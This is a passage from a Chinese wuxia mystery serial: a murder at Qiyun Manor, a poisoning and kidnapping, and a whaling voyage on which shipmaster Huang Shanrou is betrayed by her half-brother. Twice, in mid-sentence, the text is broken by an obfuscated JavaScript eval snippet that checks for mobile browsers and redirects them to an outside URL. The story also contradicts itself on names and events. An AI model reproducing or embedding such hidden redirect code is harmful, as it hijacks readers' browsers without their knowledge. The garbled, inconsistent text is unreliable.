就在这时,一直在旁默默观察现场、试图寻找更多线索的林峻峰,忽然“咦”了一声。他目光锐利,落在了陈书灵垂落在身侧、原本被白锦盖住的左手上。之前众人注意力都在面容和致命伤上,且那左手半握拳状,并不显眼。此刻角度光线稍变,林峻峰却发现,那紧紧攥着的指缝中,似乎露出了一小角与陈书灵鹅黄衣衫截然不同的布料——颜色深暗,质地似乎也颇为特别。 “书珩兄,你看令妹左手……” 林峻峰出声提醒。 陈书珩和宋青书闻声看去。陈书珩先是一愣,随即想起自己刚才一直握着的是妹妹右手,左手并未细看。他连忙俯身,小心翼翼地去扳开陈书灵那已然僵硬冰冷的左手手指。 由于握得极紧,甚至需要稍稍用力。当手指被掰开,掌心中的物件完全显露时,三人瞳孔同时一缩! 那是一块布料,约莫两指宽、三寸长,边缘参差不齐,明显是被大力撕扯下来的。布料颜色是深蓝近黑,质地厚实坚韧,并非寻常丝绸或棉麻,倒像是……经过特殊处理、常用于海上或户外活动的致密帆布或油布,表面还有细微的、不易察觉的横向织纹。 最重要的是,布料边缘和表面,沾染着已呈褐色的血迹,而其中一角,还挂着一小段同样质地的、断裂的纤维线头,显然是从一件完整的衣物上硬生生扯落的! “这是……” 陈书珩将那块布条捏起,指尖传来的粗砺质感让他心中剧震。妹妹在生命最后的时刻,与凶手近身搏斗,竟拼死从对方身上扯下了这块布条!这是她留下的、指向凶手的唯一线索! 林峻峰接过布条,仔细摩挲察看,脸色渐渐凝重起来。他常年经营船行,对各类布料,尤其是船上常用的材料极为熟悉。这布料的质地、颜色、织法……他沉声道:“这布……绝非寻常衣物所用。倒像是跑船之人,特别是常需面对风浪、进行危险作业的水手或海猎者,所穿外衫或罩袍的料子。厚实耐磨,防水抗风,颜色深暗便于隐蔽。” “跑船之人?海猎者?” 宋青书猛地抬头,心里几乎要喊出来:“难道是……黄善柔?!” 宋青书本也不会将这事和黄善柔联系在一起,但是他是唯一一个看见那个窥视之人的人。 难道,那黄善柔与栖云山庄有什么仇怨?宋青书总觉得黄善柔那样的女子不会干出此等事来。 黄善柔给他的感觉,是锐利、直接、在规则清晰的海上凭本事说话的强者,而非这种鬼祟潜入、刺杀女眷的作风。更何况,若为仇,为何时隔多年才动手?又为何偏偏选在端午,选陈书灵? 那她又为何潜入山庄窥视,只是看看吗?还是在踩点?或者本就打算伺机动手? 她选择书灵,是因为书灵是女子,独处内宅更容易下手?还是……什么别的东西? 种种阴暗的推测如同毒藤般疯狂滋生。 林峻峰道:“书珩兄,事关令妹,且证据只有一块布料,这需谨慎查证!” 宋青书没有贸然开口。他只是静静地看着那块被陈书珩紧握的布条,目光停留在那特殊的织纹和断裂的线头上,脑海中飞快地记忆着所有细节。 这块布条,无疑是关键证物。它真的来自黄善柔吗?也许有人想借此误导? 疑云,因为这块染血的深蓝布条,非但没有散去,反而更加浓重地笼罩下来。 新仇未泯剑霜寒 接下来的几天,栖云山庄如同密不透风的铁桶,气氛压抑到了极点。陈书珩动用了所有力量,内外搜查,盘问每一个人,甚至请来了泉州府的资深仵作和捕头。然而,凶手如同鬼魅,没有留下任何指向明确的痕迹。 现场除了那道致命的伤口和微乎其微的阴寒气息,再无其他。山庄内部也并未发现可疑人物或丢失财物,排除了见财起意或内讧仇杀的可能。 陈景行和陈行止两个孩子,骤然失去母亲和姑姑,哭成了泪人,往日的活泼灵动荡然无存,只剩下惊惧与悲伤,紧紧跟在父亲身边,看向任何外人的眼神都带着警惕与不安。宋青书看到他们,心中有些不忍。 封锁持续了三天,一无所获。泉州府的捕头也束手无策,只能初步定为“外来高手仇杀”,建议陈书珩扩大悬赏,暗中查访江湖恩怨。山庄不可能永远封闭,在极度悲愤与无奈中,陈书珩只得逐步解除封锁,处理妹妹丧事,但暗中的调查与戒备,提到了最高级别。 林峻峰心有余悸,对宋青书道:“师侄,此事太过蹊跷凶险。你随黄善柔出海之事,是否暂缓?我总觉得……不太对劲。主要是那布料似乎是跑船之人所有的。” 宋青书只好点了点头。 他有一种直觉,陈书灵的死,或许与黄善柔有关,但黄善柔未必是直接的凶手。这其中,可能另有隐情,甚至可能牵扯到更深、更复杂的往事。 第四日傍晚,宋青书独自一人,再次来到泉州港东码头。“破浪号”依旧静静地泊在那里,仿佛外界的纷扰与它毫无关系。 通报之后,宋青书再次被引至主舱。黄善柔正在查看海图,听到脚步声,头也未抬,只淡淡问道:“宋少侠,距离约定出海之日尚有两天。何事?” 舱内只有他们两人。宋青书开门见山,目光直视黄善柔:“黄掌船,晚辈今日冒昧前来,是想请教一事。” 黄善柔这才抬起头,琥珀色的眸子平静无波:“说。” “端午之夜,栖云山庄夜宴之时,黄掌船是否曾到过山庄附近?” 宋青书问得直接,目光紧紧锁定她的表情。 黄善柔的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109845|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神几不可察地闪烁了一下,随即恢复冷淡:“是又如何?不是又如何?宋少侠是在审问我?以什么身份?” “不敢。” 宋青书语气平稳,“只是端午之后两日,栖云山庄陈书灵女史不幸遇害,凶手至今无踪。而当晚,有人见到一个类似掌船身形的人影在山庄外出现。晚辈受庄主之托,协助查访,不得不问。” “哦?” 黄善柔放下手中的绘图笔,唇角勾起一丝似笑非笑的弧度,那笑容却没什么温度,“所以,宋少侠是怀疑,我杀了陈书灵?” “晚辈只想知道,掌船当晚去做了什么。” 宋青书不答反问。 黄善柔站起身,走到窗边,背对着宋青书,望着外面逐渐被暮色笼罩的海港。她的背影挺直,却似乎比平日多了几分难以言喻的紧绷。沉默在舱内蔓延,只有海浪轻轻拍打船体的声音。 良久,她才缓缓开口,声音比平时更低哑了一些,带着一丝不易察觉的……惆怅:“我为什么要告诉你?” 宋青书静静等待,没有催促。他能感觉到,黄善柔此刻的内心并非表面那么平静。 又过了一会儿,黄善柔转过身,脸上那层惯有的冰冷与疏离似乎褪去了一些,露出底下些许疲惫与复杂。她看着宋青书,眼神变得有些悠远,仿佛透过他,看到了别处。 “那天晚上……我只是去看了看故人,和……故人之子。” 她终于说道,语气平淡,却字字清晰。 故人?故人之子?宋青书心中一震。她指的是陈书珩、陈书灵兄妹?还是……那两个孩子?她用了“故人”这个词,而非“仇人”。她的语气里,没有仇恨的炽烈,反而有一种深沉的、难以言喻的感慨与……怅惘。 “只是看看?” 宋青书追问。 黄善柔收回目光,重新看向宋青书,眼神恢复了惯有的锐利与疏离:“不然呢?宋少侠以为我会做什么?” 她冷笑一声,那笑声里满是自嘲与冰冷。 “我黄善柔在海上讨生活,刀口舔血,恩怨分明。该报的仇,我自有我的方式和时机,不屑于,也不会用那种鬼鬼祟祟、刺杀妇孺的方式。更不会……选在那样一个晚上。” 她的话语斩钉截铁,带着海风淬炼出的硬朗与骄傲。宋青书凝视着她的眼睛,念力带来的敏锐感知,让他能隐约察觉到,这番话,大概率是真的。她没有说谎,至少,在“是否亲手刺杀陈书灵”这一点上,她没有。 “那么,掌船可知,谁可能与陈女史有如此深仇大恨?或者,当年‘翻海蛟’之事,是否还有其他不为人知的牵扯?” 宋青书换了个方向。 黄善柔眼神微凝,沉默片刻,道:“‘翻海蛟’黄四岳,恶贯满盈,仇家遍及沿海。想杀他和他相关之人的,不知凡几。但具体是谁,时隔多年,我亦不知。至于其他牵扯……” 她顿了顿,似乎在斟酌用词,“江湖恩怨,利益纠葛,盘根错节,谁又说得清?或许,杀陈书灵的人,目标未必是她,也未必只是冲着十几年前的旧账。” 黄…… “这一带以黄姓为最多。”宋青书正在脑中疑虑,黄善柔的一句话就把他的疑虑打消了。 “多谢掌船告知。” 宋青书拱手,“既与掌船无关,晚辈便不多打扰了。出海之事……” “照旧。” 黄善柔打断他,语气恢复公事公办的冷静,“五日后辰时,别迟到。我的船,不等任何人。还有,” 她深深看了宋青书一眼,“海上风浪大,暗流多。宋少侠既然要上我的船,最好管好自己的事,不该问的别多问,不该管的别多管。有些陈年旧账,海水泡久了,捞上来也是腥的,未必是你想看到的样子。” 这是警告,也是提醒。宋青书听懂了其中含义,点了点头:“晚辈明白。告辞。” 离开“破浪号”,天色已完全暗下,港内灯火渐次亮起。宋青书回头望了一眼那艘深蓝色的巨船,心中疑云并未消散,反而更加浓重。 黄善柔不是凶手。但她那夜的“看看”,绝非寻常怀旧。她对当年之事,肯定知道得更多。而杀害陈书灵的凶手,依旧隐藏在黑暗之中,动机成谜。黄善柔最后那句关于“陈年旧账”和“暗流”的话,更像是一种暗示——栖云山庄的血案,或许只是冰山一角,水下,还隐藏着更庞大、更危险的阴影。 海风带着夜晚的凉意吹来,宋青书感到肩上的压力又重了几分。他不仅要取得鱼筋,治愈三师叔,如今似乎还不可避免地,被卷入了这片海域之畔,一段跨越了十几年的血腥纠葛之中。 27. 碧水萦回舟影残4 陈书珩几乎不眠不休,一方面强忍悲痛处理妹妹后事,一方面如同受伤的猛兽,加倍警惕着暗处的威胁。庄内护卫增加了两班,日夜巡逻,尤其是陈书珩父子及陈行止的居所附近,更是戒备森严。他深知,凶手一击得手,未必会就此罢休。 然而,凶手似乎并不畏惧这外紧内松的戒备,反而像是在享受这种步步紧逼的猫鼠游戏。一种隐隐的、近乎戏谑的恶意,如同潮湿的藤蔓,在阴影中蔓延。那凶手仿佛被束缚了太久,终于在杀戮与控制中,品尝到了某种扭曲的快意。 又过了几日,黄昏时分。 陈书珩在书房中,试图从堆积的账册与各方暗探送回的消息里,梳理出哪怕一丝线索。连日来的心力交瘁,让这位素来稳健的庄主也显出了疲态。侍女端来参茶,轻手轻脚地放在桌边。 就在侍女退出,房门将闭未闭的刹那,一道几乎融入暮色的灰影,如同没有实体的幽灵,以不可思议的速度和角度,从门缝中滑入,无声无息地落在了书房内侧的帷幕阴影里。来者全身裹在夜行衣中,黑巾蒙面,只露出一双闪烁着冰冷而亢奋光芒的眼睛。 陈书珩并非庸手,多年的警觉让他在灰影入室的瞬间便觉有异,霍然抬头。几乎同时,那蒙面人已如鬼魅般欺近桌边,手指一弹,一撮细微得几乎看不见的粉末,飘向那杯犹自冒着热气的参茶! “什么人?!” 陈书珩暴喝一声,一掌拍在书桌上,借力向后疾退,同时另一只手已拔出了悬在墙上的长剑。茶杯被他掌风带倒,参茶泼洒在书桌上,发出轻微的“嗤嗤”声,红木桌面竟被蚀出几个小点,冒起淡淡青烟! “警惕性不差嘛,陈庄主。” 蒙面人的声音嘶哑难辨,带着一种刻意扭曲的腔调,话中却透出毫不掩饰的嘲弄与兴奋,“可惜,今日这杯茶,你喝也得喝,不喝……也得留下点别的。” 陈书珩心头一沉,看着那被腐蚀的桌面,知道今日绝难善了。对方能无声无息潜入戒备森严的书房,身手之高,恐在自己之上,而且用毒如此诡谲狠辣。妹妹的仇,恐怕今日就要在此了断,但景行和行止…… 电光石火间,他已有决断。左手悄然缩回袖中,捏碎了一枚贴身携带的、用于紧急传讯的蜡丸。一股极淡的、特殊的药草气息弥漫开来,这是他栖云山庄独有的求救信号,只有几个心腹和至交如林峻峰知晓其含义。 “藏头露尾的鼠辈!杀我妹妹,今日又来行刺,我栖云山庄与你有何深仇大恨?” 陈书珩长剑斜指,强压怒火喝问,意在拖延时间,也让动静传出去。 “深仇?哈哈……” 蒙面人低笑起来,声音如同夜枭,那双露出的眼睛里,疯狂与愉悦交织,“很快你就知道了,陈庄主。不过,在那之前,我们先活动活动筋骨如何?看看你这庄主之位,除了靠祖荫和运气,还剩几分真本事?” 话音未落,蒙面人已如一道灰色闪电扑上!他用的是一对长不盈尺、通体黝黑、边缘闪烁着蓝汪汪幽光的短刺,招式诡谲狠毒,专攻要害,且角度刁钻至极,每每从不可思议的方位刺出,更带起阵阵腥风,显然喂有剧毒。 陈书珩打起十二分精神,一套家传的“栖云剑法”施展开来,剑光绵密,如云霞缭绕,守得风雨不透。他心知对方武功诡异,毒性猛烈,不求有功,但求无过,只盼能拖到护卫赶来,或林峻峰看到信号。 书房内,剑光与黑芒交织,劲气激荡,卷起书籍纸张纷飞。陈书珩内力深厚,剑法沉稳,虽处守势,却一时不露败象。那蒙面人似乎也并不急于求成,反而像猫戏老鼠般,不断以凌厉诡谲的攻势试探、压迫,享受着对手在死亡威胁下全力挣扎的过程。转眼间,两人已过了近百招。 陈书珩心中焦急,知道如此下去,自己内力消耗更大,一旦气力不继,便是绝路。他心念急转,故意在格挡对方一记斜刺时,脚下似乎因踩到散落的书册微微一滑,剑势随之一滞,胸前空门微露! “好机会!” 蒙面人眼中厉芒一闪,岂肯放过?右手短刺虚晃,引开陈书珩长剑,左手短刺毒蛇般疾点其右胸要穴,又快又狠! 然而,就在他招式用老、力道已发的瞬间,陈书珩那看似滞涩的长剑却陡然加速,划出一道精妙绝伦的弧线,以攻代守,剑尖精准无比地削向蒙面人因全力突刺而暴露出的左臂衣袖! “嗤啦!” 布帛撕裂声响起。蒙面人反应极快,缩臂疾退,但剑锋仍在他左小臂外侧划开了一道不深不浅的口子,鲜血瞬间渗出,染红了黑衣。几乎同时,陈书珩也闷哼一声,身形一晃——就在他出剑伤敌的刹那,蒙面人那看似被引开的右手短刺柄端,竟无声无息地弹出了一根细如牛毛、泛着幽蓝光泽的银针,电射而出,钉入了陈书珩的左肩! 针上剧毒猛烈无比,刚一入体,陈书珩便觉半身一麻,伤口处并无剧痛,反而传来一股诡异的冰凉,旋即这冰凉感如同活物般迅速向心脉和全身蔓延,所过之处,气血凝滞,内力运转顿时变得艰涩无比! “呃……” 陈书珩踉跄后退,以剑拄地,脸色瞬间蒙上一层青气,额上冷汗涔涔而下。 “哈哈哈!” 蒙面人看着手臂的伤口,又看看中毒摇摇欲坠的陈书珩,不怒反笑,笑声中充满了扭曲的快意,“好一招以伤换伤!陈庄主果然够狠!可惜,我的毒针滋味如何?是不是觉得力气在一点点溜走,血都快要冻住了?” 他话音未落,书房窗外、屋顶,竟同时传来数道轻微的落地声!四五个同样黑衣蒙面、身手矫健的身影,如同鬼魅般出现在房中,将陈书珩团团围住。原来他并非独自前来,早有同伙接应! 陈书珩心中一片冰凉。毒力蔓延极快,他此刻别说反抗,连站立都觉困难。他目光扫过窗外,庄内竟无护卫及时赶到,显然这些凶徒已用某种方法暂时解决了外围警戒,或者……山庄内部仍有问题。 “你们……到底……想要什么?” 陈书珩勉力提气,声音嘶哑。 蒙面首领一步步走近,俯视着他,眼中闪烁着残忍而满足的光芒:“想要什么?很快你就知道了。陈庄主,还有你那两个可爱的儿子、外甥……一起跟我们走一趟吧。一家人,总要整整齐齐,对不对?” 他挥了挥手。两名黑衣大汉立刻上前,制住已无力反抗的陈书珩。另两人则迅速出门,不多时,便将分别在自己房中温书、因听到打斗声而惊恐不安、正被忠心老仆护着的陈景行和陈行止抓了过来。两个孩子看到父亲舅舅中毒被擒,吓得面无人色,挣扎哭喊,却被牢牢捂住嘴巴。 “带走!” 蒙面首领冷声下令。 一行人如同来时一般诡秘,迅速消失在愈发浓重的暮色之中。书房内,只留下一片狼藉,一滩带着异味的毒血,以及那杯打翻的毒茶,无声地诉说着刚刚发生的惊变。 约莫两刻钟后。 林峻峰在泉州城中,突然接到栖云山庄心腹冒死送出的、陈书珩以暗语写就的求救信和那只作为信物的、沾血的蜡丸碎片。信中字迹仓促,只有寥寥数语:“林兄:事急!若弟有不测,景行、行止,托付于兄矣!速来!” 林峻峰大惊失色,立刻带上最得力的人手,同时派人火速通知正在住处研究药性的宋青书。两人汇合后,以最快速度赶往栖云山庄。 然而,他们还是来晚了。 当他们冲破明显有被破坏痕迹的庄门防线,赶到书房时,只看到满地狼藉,打斗的痕迹,桌面上腐蚀的毒痕,以及……地上那几点已呈紫黑色的血迹。陈书珩、陈景行、陈行止,已然踪迹全无。几个倒在隐蔽处的护卫,或是中了迷香,或是被重手法打晕,所幸性命无碍,却对来袭者人数、样貌一无所知,只知对方身手极高,行动如风。 “陈兄!景行!行止!” 林峻峰目眦欲裂,一拳砸在门框上,木屑纷飞。他悔恨不已,早该料到凶手会再次出手,却没想到如此嚣张迅猛,直接潜入核心掳人! 宋青书蹲下身,仔细观察那几点毒血,又查看了桌面腐蚀痕迹和打斗中散落的些许粉末。他取出一根银针,小心翼翼地在毒血边缘探了探,银针迅速变黑。他的脸色异常凝重。 “林师叔,陈庄主应该是中了毒,是一种药性极猛的毒。” 宋青书沉声道,指向地上一些几乎难以察觉的、比灰尘还细碎的黑色水渍。 “看这迹象,绝非普通毒药。而且,对方人数不少,计划周详,目标明确,就是陈庄主和两个孩子。这不是临时起意的仇杀……似乎和上次陈女史被杀时有所不同。” “他们到底想要什么?” 林峻峰道,“钱财?还是……” 宋青书站起身,目光扫过书房内残留的那一丝若有若无的、与陈书灵遇害现场相似的阴寒锐利气息。 林峻峰缓缓道:“恐怕不只是钱财那么简单。对方这次出手,用了毒,手法专业狠辣,像是……某个擅长用毒且行事诡秘的组织。掳走孩子,或许是为了胁迫陈庄主,或许……另有所图。” 林峻峰毕竟还是在江湖上混迹多年,所以他比宋青书还是要经验老到一点。 陈书珩父子三人被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109846|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掳,生死未卜。敌暗我明,对方手段毒辣,行事肆无忌惮,显然毫无顾忌。栖云山庄,此刻已如风雨中飘摇的孤舟。 林峻峰强迫自己冷静下来:“必须立刻通知官府,发动所有能动用的关系,查!码头、车马行、所有可疑人物!还有……青书,黄善柔那边……” 宋青书望向窗外沉沉的夜色,目光锐利如剑:“她就算不是凶手,我敢肯定她也必定知道些什么。对方在海上?还是与海上有关?我们分头行动,林师叔,您利用官府和地面关系查访。我……再去会会那位‘善柔掌船’。约定的出海之日就在明日,或许,这正是接近真相的契机。” 翌日清晨,泉州港笼罩在一片灰蒙蒙的海雾之中,咸湿的空气仿佛能拧出水来。码头上却已是一派紧张有序的忙碌景象。“破浪号”深蓝色的船体在雾中若隐若现,如同蛰伏的巨兽。水手们正将最后的补给、渔具、以及宋青书那些特殊要求的工具搬上船。 宋青书背着他那标志性的革囊,早早来到码头。他心中仍萦绕着昨夜栖云山庄的激斗,那双阴鸷的眼睛和诡异的身法,如同毒刺扎在心头。目光下意识地在“破浪号”的甲板上搜寻。 大部分水手他都已见过,沉默而精悍。很快,他看到了王副掌船——那个昨日引他和林峻峰去见黄善柔的中年头目。王副掌正在指挥几名水手固定主桅的侧支索,声音粗粝,动作干练。 宋青书的视线,却牢牢锁定在王副掌的右臂上。今日他换了一身干净的海员短褂,但右臂衣袖处,隐约能看到里面似乎缠着绷带。更重要的是,他在做一个挥臂指挥的动作时,那手臂的摆动幅度明显有些不自然,带着一种刻意控制的僵硬,尤其是在发力或伸展到某个角度时,会有极其细微的滞涩和回避。若非宋青书医术精湛且刻意观察,绝难察觉。 “王副掌,”宋青书走上前,状似随意地招呼,“今日天气似乎不佳,出海可还顺利?” 王副掌闻声转头,看到是宋青书,脸上扯出一个惯常的、没什么温度的笑容:“宋少侠。海上天气,小孩脸,说变就变。这点雾不算什么,出了港就好。黄掌船说了,箭鱼常在雾散后的清水区活动,时机正好。” 他说话时,右臂很自然地垂在身侧,甚至为了显示自然,还轻轻甩动了一下,但宋青书敏锐地捕捉到,那甩动的幅度比左臂小,且在动作末梢有一丝极不协调的颤抖,被他快速用转身的动作掩盖了过去。 “原来如此。” 宋青书点头,目光似不经意地扫过他的右臂,他盯视着王副掌的脸说:“副掌这手臂……可是昨日搬运重物扭伤了?在下略通医术,或可一看。” 王副掌眼神几不可察地闪烁了一下,随即哈哈一笑,挥了挥左臂:“不劳少侠费心!常年在海上,磕碰扭伤家常便饭,贴了膏药,过两日就好。” 他话锋一转,“少侠还是赶紧准备吧,掌船最不喜人迟到。” 说着,便转身去催促其他水手,动作间,右臂依旧保持着那种刻意的“自然”垂落。 宋青书不再多言,心中疑云更重。这伤势的位置、新旧程度、以及王副掌略显过度的掩饰,都显得不太正常!突然他好像想到了什么?把他们几个人联系起来,茅塞顿开! 那么有个人现在肯定是处在危险之中,他必须要保全他们。 他感到自己正踏入一个远比寻找鱼筋更为凶险的漩涡。他不动声色,按照指引上了船,将物品安顿在分给他的狭小舱室内,心中暗自提高了十二分的警惕。 辰时三刻,海雾渐散,阳光刺破云层,洒在波光粼粼的海面上。“破浪号”升起风帆,如同离弦之箭,驶离泉州港,向着外海深处进发。 黄善柔站在高高的艉楼驾驶台旁,依旧是一身利落劲装,海风吹拂着她的发梢和衣角。她手持一个黄铜单筒望远镜,不时瞭望远方海面,同时冷静地向舵手发出简洁的指令。阳光照在她小麦色的脸庞上,那双琥珀色的眸子在强光下微微眯起,却更显锐利专注。 她全神贯注于航行与寻找猎场,并未多看甲板上的众人一眼,自然也未注意到宋青书正在跟她使眼色以及他与王副掌之间那微妙的暗流。 王副掌在甲板上忙碌着,检查渔具,调试那架巨大的、寒光闪闪的捕鲸弩炮,与几名心腹水手低声交代着什么。他表现得一切如常,甚至比平日更显干练。 宋青书将一切尽收眼底,心中的不安愈发强烈。他借口适应海上环境,在甲板上走动,默默记下船上的布局、重要器械的位置、以及王副掌那几个明显更亲近的心腹水手的样貌。 28. 碧水萦回舟影残5 “破浪号”航行了约两个时辰,来到一片海水颜色更深、洋流明显的海域。黄善柔下令减速,水手们开始忙碌起来,将各种特制的诱饵放入海中,调整帆向,让船以特定的速度拖曳行进。 等待是漫长的。海鸥在船尾盘旋鸣叫,太阳渐渐升到头顶。黄善柔始终站在高处,如同一尊凝固的雕像,只有手中的望远镜和偶尔开合的嘴唇,显示着她的专注与存在。 午后未时,一直凝神观察海面的黄善柔忽然放下望远镜,指向左舷前方约一里外的一片水域,声音清晰有力地传遍甲板:“发现鱼群!有大家伙在里面!准备!” 整艘船瞬间进入战斗状态!水手们各就各位,气氛陡然紧张起来。王副掌大声吆喝着,指挥水手们操作那架巨大的弩炮,粗大的、带有倒刺和绳索的钢叉被装上膛,在阳光下泛着死亡的寒光。 黄善柔从艉楼上快步走下,动作矫健如猎豹。她来到弩炮旁,亲自检查机括、绳索,又探头仔细观察远处海面下那隐约可见的、快速游弋的巨大阴影。 “不是普通箭鱼,是条‘枪旗’!体型更大,吻部更长,速度更快,性子也更烈!” 黄善柔眼中闪烁着猎人见到顶级猎物时的兴奋光芒,但声音依旧冷静,“王头,你带人控制好左舷,注意它的冲刺方向。老吴,准备第二套钩索,防止第一叉不中或它挣脱。其他人,各守岗位,听我号令!” 她迅速分配任务,条理清晰,不容置疑。此刻的她,不再是那个沉默审视宋青书的女商人,而是这片海域真正的女王,自信、强悍、掌控一切。宋青书在一旁看着,心中亦不由生出几分钦佩。这份在男性主导的行当里挣出一片天的独立与坚韧,绝非寻常女子可比。 那条被称为“枪旗”的巨大箭鱼似乎被船只惊扰,或是被诱饵吸引,开始绕着“破浪号”高速游弋,时而跃出水面,展示其流线型的身躯和长矛般的吻部,在阳光下划出银亮的弧线,充满力量与速度的美感,也散发着极度危险的气息。 黄善柔全神贯注,眼睛死死盯着海面下那道阴影,计算着距离、速度、角度,以及海浪的起伏。她的手稳稳扶在弩炮的击发机关上,身体微微前倾,像一张拉满的弓。海风吹动她的额发,她毫不在意,整个世界仿佛只剩下她、弩炮和那条海中霸王。 时间一分一秒过去,气氛凝固到极点。所有人都屏住了呼吸。 就在那条枪旗又一次转向,侧身对着船体,距离约三十丈,相对速度最利于射击的瞬间—— 黄善柔眼中精光爆射! “嘣——!!” 一声沉闷而强劲的巨响!粗大的钢叉拖着长长的绳索,撕裂空气,以惊人的速度直射而出,精准无比地命中枪旗背部靠前的位置!鲜血顿时如喷泉般涌出,染红了一片海水! “中了!” 水手们爆发出欢呼。 但战斗才刚刚开始!那枪旗受此重创,剧痛之下爆发出恐怖的力量,发出一声沉闷如雷的怒吼,实则是枪旗剧烈拍打水面的巨响,猛然向深海扎去!绳索瞬间绷得笔直,发出令人牙酸的“吱嘎”声,船身都被带得猛地一倾! “稳住!放索!别让它绷断!” 黄善柔厉声高喝,亲自冲到船舷边,双手抓住一股副索,协助控制。她的额角瞬间渗出细汗,但眼神依旧锐利如鹰,紧盯着海面下疯狂挣扎的巨兽,不断发出指令调整船向和放索速度。 王副掌也大声指挥着水手,看似全力配合。但宋青书注意到,在黄善柔全神贯注控船、背对大部分水手和王副掌的某个时刻,王副掌对旁边一名心腹水手使了个极其隐晦的眼色,那水手微微点头,悄然挪动了一下位置,靠近了艉楼通往底舱的一处通风盖板附近,手似乎放在了腰后。 宋青书心头警铃大作!他不动声色地也向那个方向靠近了几步。 人与鱼的角力持续了近半个时辰。枪旗的挣扎终于渐渐无力,被慢慢拖回船边。它庞大的身躯浮出水面,鲜血淋漓,但长吻依旧下意识地摆动着,做着最后的反抗。 黄善柔知道到了最后关头,也是最危险的时刻。她深吸一口气,从腰间拔出一柄特制的、带有放血槽的短柄猎叉,对王副掌道:“王头,准备搭钩,固定住它!我给它最后一下!” 按照常规,此时应由数名水手用带长杆的搭钩钩住鱼身,将其拉近固定,再由掌船或好手给予致命一击。 王副掌应了一声,招呼几名水手拿起搭钩。然而,就在黄善柔全神贯注盯着那垂死巨兽、准备寻找最佳下叉位置时——异变陡生! 那名之前被王副掌使眼色的心腹水手,突然看似脚下一滑,“哎哟”一声,向旁边摔倒,恰好撞在另一名拿着搭钩的水手身上!那水手猝不及防,手中沉重的搭钩脱手,没有飞向海中的巨鱼,而是打着旋儿,呼啸着砸向正站在船舷边、背对着这边的黄善柔的后脑! “黄掌船,小心暗算。”宋青书大声呼喝。 林峻峰忽然斜刺里疾扑而上,手中早已扣住的一枚金针激射而出,目标是那脱手飞出的搭钩木柄,试图将其打偏。 黄善柔听到惊呼,反应亦是极快,闻声不对,立即向前伏低闪避。然而,那搭钩来势太快,林峻峰的金针虽击中木柄,使其略微偏了方向,没能砸中后脑要害,但那沉重的铁钩部分,还是狠狠扫过了黄善柔的右肩胛骨位置! “咔嚓!” 令人心悸的骨裂声响起! “呃啊——!” 黄善柔痛哼一声,巨力冲击下,她本就在船舷边缘,重心不稳,整个人被这一下扫得向前踉跄扑倒,竟直接从船舷翻了出去,坠向下方波涛汹涌的海面 而那条还在做最后挣扎、长吻乱摆的枪旗巨鱼却缓慢上升! “掌船落水了!” 甲板上顿时大乱! “快!放小艇!救人!” 有水手惊呼。 然而,王副掌却猛地一挥手,厉声道:“都别动!那鱼还没死透!现在下水是找死!” 他脸上那惯有的沉稳此刻已被一种混合着兴奋、残忍与掌控一切的狞笑取代,眼神阴鸷得吓人。 宋青书冲到船舷边,只见黄善柔落入海中,鲜血从她肩部伤口涌出,迅速染红周围海水。她显然伤得不轻,右臂几乎无法动弹,只能用左臂奋力划水! 船上还是有几个人平时十分佩服黄善柔这个一女子之身却能够掌管诺大个轮船,他们把小船放下去。 “哈哈哈哈哈!” 王副掌——王定海,放声狂笑,那笑声在波涛声中显得格外刺耳癫狂,“我的好掌船!我的好妹妹!没想到吧?最终送你上路的,会是我这个你看不起的副手,你这个同父异母的……好哥哥!” “你们尽管下去救她,那就和她一起死吧。” 此言一出,船上除了王定海的几个心腹,其余水手也都惊呆了,难以置信地看着他。 “王定海!你——!” 黄善柔昂起头,死死盯着船上狞笑的王副掌,眼中充满了震惊、愤怒与恍然。 “果然是你!” 宋青书冷声道,“昨夜潜入栖云山庄,与陈书珩交手,还有之前杀害陈书灵的蒙面人,都是你!王定海!” “你故意弄伤自己的下颌骨,为的就是不叫王掌船发现你是她的哥哥吧?” “不错!” 王定海好整以暇地走到船舷边,居高临下地看着在海水中挣扎、气息越来越弱的黄善柔,又瞥了一眼宋青书,眼中满是得意与扭曲的快意,“既然事已至此,不妨让你们都死个明白!” 这时候,黄善柔已经被几人救起,放到了甲板上。属于坏人的自负让王定海看着他们几个把黄善柔救上来。 他猛地指向海中的黄善柔:“这个女人!黄善柔!她的父亲,就是当年纵横闽浙、恶贯满盈的大盗‘翻江龙’黄霸天!也是我的亲生父亲!” 水手们一片哗然。黄善柔眼中闪过痛苦与屈辱,却没有否认。 王定海继续嘶声道:“可那个老东西!眼里只有这个后来生的贱丫头!说什么她是女儿,要给她留条后路,把大部分积攒的钱财都偷偷留给了她!我呢?我这个跟他在刀口舔血十几年的儿子算什么?!他死了,我什么都没得到!只能像个丧家之犬一样到处躲藏!” 黄善柔咳出一口血水,虚弱却坚定地反驳:“你胡说!父亲留下的那点钱,早就在我被人欺辱、四处漂泊时用光了!这艘‘破浪号’,是我用命在海上一点点挣出来的!每一个铜板,都浸着我的血汗!与你,与父亲留下的脏钱,毫无关系!” “我不信!” 王定海嘶吼,面目狰狞,“没有那老东西的钱,你一个女人,怎么可能置办得起这样的大船?你就是用着我的钱,在我面前摆掌船的威风!凭什么?!父亲偏心不认我和我娘,连老天都帮你?我不服!” 